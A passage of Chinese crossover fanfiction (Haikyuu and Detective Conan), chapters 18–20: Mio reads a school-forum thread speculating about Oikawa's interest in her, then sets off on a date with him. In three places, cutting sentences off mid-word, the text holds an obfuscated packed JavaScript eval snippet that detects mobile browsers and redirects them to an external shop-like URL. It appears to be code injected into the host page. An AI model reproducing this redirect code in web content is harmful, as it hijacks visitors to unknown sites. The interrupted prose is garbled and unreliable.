警校组五个人估计把她在青叶城西走的近的朋友们的line都加上了。 洁子姐估计会关注她在青城的生活，受伤崴脚的事要让她帮忙瞒着爸爸妈妈。 她情绪波动大的时候估计会控制不住心声，参考及川彻一下比赛就跑过来认识降谷零和诸伏景光。 还有… 澪用勺子舀了一勺咖喱发进嘴里。 及川前辈送她回来的时候，是不是打算说些什么？ 澪用碗把米饭盖在盘子里盖严实，浇上咖喱土豆炖牛肉。 及川彻…是对她有好感吗？ 想到明天约着去看电影，澪又有些不确定。 18. 第 18 章 【“蜜多丽，听我说，如果有男人长时间和你玩暧昧却一直不告白，你可以给他两巴掌，然后直接拉黑不要再来往。” “我记得莱伊当初和你确认关系很快。” “嘛…所以他还算是个负责任的人。”】 玩暧昧？ 及川彻不像是那种段位的人。 所以，是单纯对恋爱感到好奇，又恰好有个频繁出现在生活里的女生，还是她看走眼了？ 澪给自己到了一杯哈密瓜汁，不再去想这件事。 明天再看看吧。 * 窗外的夜色已经完全暗下来了，宫城县的夜晚比东京安静得多，偶尔有几声虫鸣传来。 晚饭后清水澪躺在床上刷手机。 澪拿起来看，是真由美发来的一个网址，来自校内论坛的某个帖子，【我就说他不对劲！！！澪你快去看！！】 青叶城西学园校内论坛 > 自由交流区 【树洞】有人注意到今天练习赛及川前辈亲自去C区邀请谁了吗？ 楼主：排球部的比格 今天练习赛热身的时候，及川前辈发球前突然往看台上看了一眼，然后球就飞了。我当时还以为是手滑，结果比赛结束之后他直接绕了一大圈跑到C区去，跟一个女生说了半天话。 那个女生是不是就是之前传的那个啊……一年级那位？我坐得太远没看清脸，但周围好几个人都在小声议论。 有没有目击者出来说说？ 1L： 沙发。楼主你说的是C区靠边那个位置吗？我坐旁边，确实看到了，及川前辈比赛一结束就过去了，那位旁边还坐了俩外校的男生，棒球帽那个金发帅哥那个超级显眼。 2L： 我我我！我看到了！那个女生就是一年级的清水澪啊！之前论坛一直在传的东京美女校花 3L： 那个辉夜姬？？？ 4L： 等等，什么辉夜姬？我怎么没听过？ 5L： 楼上你断网多久了？就是东京帝丹超级出名的那个选美，他们这一届的代表是帝丹辉夜姬国，不知道为什么跑来宫城读高中了，入学考试年级第一，长得超级好看，之前在东京的时候就因为长得漂亮在网上很有名，花名还是跟着著名演员藤峰有希子起的。 6L： 所以及川前辈是去找她说话？这有什么好大惊小怪的，前辈对谁都挺热情的啊。 7L： 不是，关键是那个场合，练习赛刚结束，他谁都没理，直接奔着C区去的，而且你们没注意吗，他比赛的时候就往那个方向看了好几次。 8L： 他确实一直在往那边看，难道有情况？（八卦捂眼睛） 9L： 所以及川前辈跟清水学妹说了什么？有人听到了吗？ 10L： 说什么我不知道，但我知道这次清水能来看比赛是及川亲自邀请的。 11L： 你看到了？展开说说。 回复12L： 就上周晨会啊，莫名其妙给大家发宣传单让去看比赛，我看见他了亲自邀请的，没点猫腻我才不信，说不定两人早就交往了。 13L： 楼上你别吓我，及川前辈有女朋友了？？？ 14L： 可能就是单纯想让人来看比赛吧，毕竟青城排球部需要观众嘛。 15L： 需要观众？？？你认真的吗，及川打排球什么时候缺过观众？每次比赛看台都坐满了好吧，大部分女生都是冲着及川去的。 16L： 这个倒是真的，及川前辈的人气从来不需要他亲自去拉观众。 17L： 所以他才反常啊，一个从来不需要拉票的人，亲自跑去邀请一个一年级女生来看比赛，这还不能说明问题？ 18L： 你们想多了吧，可能就是认识而已，我听说清水学妹之前运动会跳高脚崴了，及川前辈帮忙送过她，可能就是因为这个所以比较熟。 19L： 送过她？？？什么时候的事？怎么送的？仔细说说（捂眼看） 20L： 楼上你这反应也太逗了哈哈哈，就是运动会那天，清水学妹跳高的时候崴脚了，及川前辈背她去的医务室。后来好像还骑自行车送她回家过。 21L： 这里有帖，不用谢！[链接：有人看见最近每天及川都骑自行车接送一个一年级学妹] 22L： 点进去看了，这个帖子是上周发的吧？楼主说连续好几天早上看到及川前辈骑车带一个女生来学校，晚上又带她回去。 …… 25L： 不是，等等，这就每天接送了？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375183|200060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ？？崴个脚至于吗？ 26L： 楼上你这话不要太酸，人家及川前辈乐意送。 …… 31L： 人家可能就是热心肠呢？ 32L： 热心肠三年了怎么没见他接送过别人？我跟他同级，三年了从来没见过他对哪个女生这么上心。 及川这个人看着对谁都笑嘻嘻的，但其实边界感很强，跟女生从来都是保持距离的那种，三年了，没听说他跟哪个女生走得很近过。 哦，我追过他，所以研究过此男性格，绝对有事儿，当初我还以为他准备和排球过一辈子呢。 33L：哈哈哈怎么想的，去追及川，只有他的一些小迷妹才会被他外表骗了吧。 回复33L：啧，别挑拨离间啊，人家当初拒绝我拒绝得很体面的，而且人的确不错 就是不适合谈恋爱而已。 35L： 对对对，我也想说这个，及川前辈虽然很受欢迎，但其实排球部都说他又幼稚又直男的，排球就是他的全部。 36L： 排球脑袋实锤了。 37L： 别歪楼啊，所以现在这个排球脑袋开窍了？ 8L： 冷静分析一波，及川前辈三年级，清水学妹一年级，两个人之前完全不认识，开学典礼上发言点时候第一次见面，之后也没什么交集，直到运动会借物跑和崴脚事件才熟起来（但是哦，我听说学生会帮清水学妹融入校园的那个借物跑活动及川有主动参与）然后就是每天接送、图书馆偶遇、现在又亲自邀请来看比赛，嘶！越分析越有啊！ 39L： 反正我从借物跑就挺嗑他们俩，还有摄影部那天拍了他们的绝美操场牵手奔跑图，（图片jpg.） 40L： 你这算什么，看我的，（图片jpg.）（图片jpg.）自行车图和背上相依图哪个不绝美？！我只想说摄影部你们是我的神！你们不觉得这两个人站在一起很养眼吗？颜值这块简直是王炸组合。 41L： 哇你这么一说……确实有点好嗑，单纯脸就能产好几吨粮了。 42L： CP粉这么快就出现了？ 43L： 早就出现了，开学那天我就嗑上了，主要有点养眼，我这个脑子控制不住我自己。 …… 19.第 19 章 55L： 天哪，及川前辈如果真的在追人，那真的是活久见了，三年了，这个人眼里只有排球，只有牛岛若利！ 56L： 啧，上面的别这么说，搞得及川前辈喜欢牛岛一样。但话说回来，今天那两个来找清水学妹的男生都好绝的，那个金发的超级帅，他们看起来跟清水学妹很熟的样子，会不会人家清水学妹已经有男朋友了？ 57L： 我也看到了！那两个男生穿着帝丹的制服吧？帝丹的制服还蛮出名的，以前好多学校羡慕过，他们跟清水学妹一看就是老熟人。 58L： 不会吧……我刚嗑上的CP就要be了？ 59L： 你们想多了吧，可能就是国中同学而已，清水学妹是帝丹毕业的，那两个男生也穿帝丹的制服，很明显就是同学关系啊。 60L： 但那个金发男生真的好帅，我查了一下，帝丹国中部的网球部去年拿了全国冠军，队长好像就是这个混血儿，很出名的，我看过他的视频，可燃了！ 61L： 你这么一说我想起来了，帝丹网球部的降谷零！之前全国大赛的时候还上过杂志的，被称为“网球场上的绝对零区”什么的总之是个很厉害的人。 62L： “网球场上的绝对零区”？？？这是什么中二称号哈哈哈。 63L： 哎呀，咱们这里就是喜欢起这些花名嘛，而且人家确实厉害啊，帝丹网球部连续两年全国大赛冠军，降谷零是绝对核心，且他长得确实也很好看，金发紫灰色眼睛，混血儿的那种精致感，而且混得很稀有啊，金发黑肤反正我没见过。 64L： 所以清水学妹身边都是这种级别的人？？？帝丹辉夜姬实锤了。 65L： 不仅是降谷零，他旁边那个黑发的男生是樱花乐队的主唱，吉他弹的超级好，完全大师炫技级别的的，在网上也很火的，我之前去东京还看过他们演出。 66L： 我知道了！传说中守护着辉夜姬的五大恶人！ …… 82L： 我说你们不要喜新厌旧啊，讨论帅哥讨论这么多层楼，把楼正回来，所以清水学妹那边是什么态度呢？ 83L： 清水平时不太跟人聊这些的吧，佐藤可能知道，但佐藤也不是那种会到处说朋友隐私的人。 84L： 我倒是看见过清水学妹在图书馆的时候跟及川前辈坐在一起过，两个人会小声说话，看起来挺自然的。 85L： 所以这是双向的？？？ …… 152L： +1，蹲一个官宣。 153L： +2，及川前辈加油！ 154L： +10086 …… 199L： 蹲一个后续报道。 200L： 此帖已收藏，持续关注中。 帖子发表于 4月XX日 最后编辑于 4月XX日 23:47 佐藤真由美：【澪，你真的不考虑一下吗？】 清水澪看着跳出来的消息，关掉论坛，【考虑什么？】 佐藤真由美：【谈恋爱啊！！！及川学长诶！！！青城的校草！！！排球部的王牌！！！人长得帅性格好还努力！！！这不比那些只会打游戏的宅男强一万倍？？？高中如果要谈恋爱的话，这人OK的，当然我不是拉郎啊，我就是给你推荐，如果澪酱整个高中没有这个打算的话，我说都不说的，可是我先前的提议澪酱虽然没答应但也没拒绝吧，真的可以试试的哦。】 澪看着这条消息，打字，【你也相信论坛里那些话了？有没有可能，及川前辈更想要把排球当女朋友。】 佐藤真由美：【……】 佐藤真由美：【你说的对，这男的还是pass吧，或者排球男都pass吧，也不对，说不定也有我男朋友那种情商高会打排球的呢，没事儿澪，你喜欢这款我再给你找，专门找帅哥，你等我，我再去寻摸下我的人脉。】 清水澪捂脸，真由美真的是…… 不过，及川彻真的想追她吗？ 上一世在组织里，谈恋爱是奢侈的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17377370|200060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事。 威士忌组那群人把她当妹妹护着。 她自己也没想过，因为随时可能死掉的人，谈什么恋爱？ 这一世虽然安全了，但那种“随时可能失去”的感觉还留在骨子里。 而且…… 她想起及川彻在图书馆里认真看书的侧脸，想起他在球场上一次又一次重复发球的背影，想起他站在便利店门口和岩泉打闹时笑得毫无防备的样子。 那个人，活得那么明亮，那么热烈，那么专注。 而她呢？ 一个从黑暗里爬出来的人，一个习惯了观察和分析而不是参与和感受的人，一个连自己的过去都不敢完全放下的人。 她没办法回馈相等的感情的，这对及川彻不公平。 澪只简单和真由美再聊了聊就放下手机，起身去洗漱，还是先睡觉吧，没有什么是睡一觉解决不了的。 * 扰人的蝉鸣叫了一夜，清水澪的睡眠却前所未有地好。 一觉到天亮，晨光洒进卧室将她晃醒的时候先，打开手机一看已经是9点了。 她很少会这么晚醒。 清水澪靠坐在床上，慢吞吞发了会儿呆，视线落在衣柜上。 或许她今天该选件漂亮的衣服？ 念头乍起的瞬间让她自己都有些诧异。 所以，她是期待的对吗？ 和及川彻约会这件事。 下床打开衣柜，里面几乎都是清水妈妈给她选的衣服。 作为一个设计师，她的品味实在不俗。 就是清水澪自己有些不适应，她向来是极简风来着，嗯…今天换个风格？ 手落在了一条樱花粉的背带牛仔裙上。 离约好的时间还有三个小时，但如果加上吃早饭和化妆的话，其实刚刚够罢了。 清水澪充了一杯黑咖啡，早餐就是三明治了，然后难得拿出了化妆包，仔细描摹眉眼。 时间一点点过去，等清水澪搞定一切，墙上挂钟的指针到了12点位置时，门铃准时响起。 清水澪迟疑了两秒才打开门。 “小清水，早啊！”是及川彻元气满满的声音。 20.第 20 章 今天的他没有穿青城的制服，私服是正经的白衬衫搭墨蓝色的夹克外套，下身是黑色休闲裤，加上身上的配饰和脸上的银边眼镜，整个人的气质成熟了不少。 额… 清水澪有些想笑。 怎么这么没有默契呢，还是说这个年龄段的男孩子都更喜欢作大人模样。 及川彻脸上的表情也僵了一瞬，因为清水澪今天的风格实在… 非常甜啊！ 蕾丝边的娃娃领公主风衬衫配樱花粉背带裙子，黑色铆钉长靴中和了与清水澪有些不搭调的软妹风，加上半扎的丸子头和玫红色爱心耳钉，整个人就是一个甜酷girl。 可是…及川彻捂脸，非常不想接受，“这样出去人家会以为我是你叔叔吧！” 为什么学妹以前都是冷冽冽的冰山美人，今天突然换打扮啊？！他可是在衣柜里挑了好久才挑出这一身的。 “我今天可是特意打扮成禁欲系欸，我以为学妹你会走高知冷漠风格！”及川彻抿嘴别扭。 清水澪勾起唇角，“前辈这一身哪里禁欲了，明明是性冷?淡风。” 及川彻无奈，解开扣到顶的衬衫纽扣，将脖子上挂着的银饰吊坠拉出来排球样式的吊坠总算让他不那么正经了。 澪轻笑一声，“这么在意啊，那你等等我。” 及川彻：？ 然后看见她跑上二楼，不一会儿又手里拿着什么跑下来。 “这是什么？” 清水澪摊开手里的三个粉色银属发卡，样式是不同表情的搞怪卡通娃娃。 “我妈妈从品牌方那里拿回来的。”澪歪着脑袋看了看他胸前的口袋，伸手将其中两个夹在右边的口袋边边上，“别动哦。” 及川彻感受着少女的靠近，连呼吸的都轻了，“小清水？” “叫我澪吧。”清水澪突然道。 “什么？”及川彻被这句话打得猝不及防，差点被这突如其来的一句弄懵。 清水澪又将剩下这个小一点的夹在及川彻左边的衬衫衣领上，然后后退一步微微抬头看着及川彻眼睛，“景光和零他们喊我澪的时候，我看及川前辈很在意的样子，而且昨晚佐藤…我是说真由美，我和她也互相喊名字了。” “所以喊我澪吧，我不介意。”她对称呼这类的名号一想不怎么在意，上一世11岁以前她都没有名字，只有父母给的实验体编码，后来被威士忌组收养，才有了澪和蜜多丽两个紧密关联的名字。 清水澪眸色暗了暗，诸星澪、绿川澪、安室澪她都有过假身份，联合行动前安室那个公安接线人说未来会给她一个真正的身份。 只是再也等不到了。 及川彻不知道自己现在是谁反应，但他觉得自己的耳朵要烧起来了！ 心脏剧烈跳动的声音他自己都能听见了。 只听见自己干巴巴道，“好，澪？” 清水澪笑了笑，满意地看着整体效果，“还行，整体风格协调了。” 及川彻深吸一口气，想捂脸又不想显得自己很逊，偏过头转移话题道，“平时不觉得，当刚才澪站在我面前才发现原来澪也蛮高的嘛。” 清水澪锁好门，然后将钥匙放进包包里，和及川彻一起往外走。 “我净身高国三体检时量的是172，后面不知道有没有涨，不过女生身高的话，真由美要比我高多了，我感觉她快和岩泉前辈一样高了。” 及川彻跨上自行车，笑出声，“这话你可别让小岩听到，不过佐藤以前也是打排球的，身高倒是一直是女生里比较高的了。” 清水澪看了眼自己的裙子，用包包挡住腿坐上自行车。 刚好嘛，看来今天的包包大小选的好。 “前辈也知道真由美一起打排球的事吗？” 及川彻：“坐稳了，”偏头看了一眼清水澪，迟疑一瞬道，“我把外套脱下来给你？” 清水澪笑了笑，“我有包包呢，而且裙子不算短。” 及川点头，这才开始骑，然后接着回答清水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17381812|200060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 澪的问题，“佐藤在女排那边很有名的，国中那会儿，她和新山女子中学的主攻手高桥美是同年龄段女排运动员里的断层第一，女生发育要早一点，所以那时候她们的身体素质就可见一斑了，如果不是后来膝盖受伤，佐藤应该会和那个高桥一样进国青队。” 清水澪没想到真由美真正的实力这么强，有些哑然道，想到了什么，试探道，“主攻手的话……相当于牛岛若利？” 及川彻笑了笑，却没有多大反应，“不止哦，女排苗子不好找，佐藤的话，应该是大炮和指挥家的集合体吧，她是二传转的主攻，很有天赋。” “澪昨天来看比赛的时候应该是听说了什么吧，怎么突然说起牛若那家伙。” 清水澪的回答却很直接，“因为及川前辈啊和真由美，我现在对白鸟泽有点感兴趣。” 及川彻握着车把的手紧了紧，又很快放松下来，“是吗？” 清水澪感受到了他情绪里一瞬间的紧绷，索性摊开来讲，“真由美的话，是因为好奇她那个白鸟泽排球部的男朋友，及川前辈的话，是因为听说了你对牛岛若利和乌野的影山飞雄很在意。” 及川彻沉默下来，不知道该和清水澪说了。 他不想说自己的屡败屡战，不想说自己的嫉妒不堪，不想说他曾经的懦弱逃避，可是说到他及川彻和排球，这些东西也绕不过去。 他能感觉到清水澪今天释放出的信号，想要更了解自己的信号。 可是，真正的及川彻，真的不会让清水澪讨厌吗？ 他不想让喜欢的人看到这一面。 但…如果连真正的自己也要藏着掖着，就算澪最后和他在一起了，喜欢的是真正的自己吗？ “澪…我，我讨厌天才…”真说出来后，及川彻反而感觉松了一口气。 “没有让及川前辈剖白的意思哦。”清水澪的声音从身后传来，不知道是不是他们贴得很近的缘故，及川彻竟然就这样被她这么一句和平时有些不同语气的话安抚下来了。